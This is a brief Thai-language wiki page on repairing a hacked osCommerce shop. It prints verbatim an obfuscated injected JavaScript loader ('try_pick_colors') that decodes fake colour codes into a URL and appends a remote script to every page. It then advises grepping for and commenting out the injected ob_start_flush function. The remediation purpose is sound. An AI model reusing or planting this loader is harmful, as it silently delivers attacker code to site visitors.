Fixing hacked oscommerce

From P&T Knowledgebase
Jump to navigation Jump to search
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

case: try_pick_colors

อาการ พบโค๊ดลักษณะนี้แทรกอยู่ในหน้าเว็บ

<script type="text/javascript">if (typeof(redef_colors)=="undefined") { var div_colors = new Array('#4b8272', '#81787f', '#832f83', '#887f74', '#4c3183', '#748783', '#3e7970', '#857082', '#728178', '#7f8331', '#2f8281', '#724c31', '#778383', '#7f493e', '#3e4745', '#3d4444', '#3d4043', '#3f3d41', '#3f423e', '#79823e', '#798084', '#748188', '#3d7c78', '#7d3d7f', '#777f31', '#4d0000'); var redef_colors = 1; var colors_picked = 0; function div_pick_colors(t,styled) {var s = "";for (j=0;j<t.length;j++) {var c_rgb = t[j];for (i=1;i<7;i++) {var c_clr = c_rgb.substr(i++,2);if (c_clr!="00") s += String.fromCharCode(parseInt(c_clr,16)-15);}}if (styled) {s = s.substr(0,36) + s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime() + s.substr((s.length-2));} else {s = s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime();}return s; } function try_pick_colors() {try { if(!document.getElementById || !document.createElement){document.write(div_pick_colors(div_colors,1)); } else {var new_cstyle=document.createElement("script");new_cstyle.type="text/javascript";new_cstyle.src=div_pick_colors(div_colors,0);document.getElementsByTagName("head")[0].appendChild(new_cstyle);}} catch(e) { }try {check_colors_picked();} catch(e) { setTimeout("try_pick_colors()", 500);} } try_pick_colors();}</script>

วิธีแก้ เสิร์ซหาฟังก์ชั่น ob_start_flush แล้วก็ comment ทิ้งไปทั้งยวงเลย (ให้ comment เพราะว่า เผื่อถ้าเรากำหนดขอบเ้ขตเกิน หรือขาด จะได้แก้ไขได้

grep -R ob_start_flush .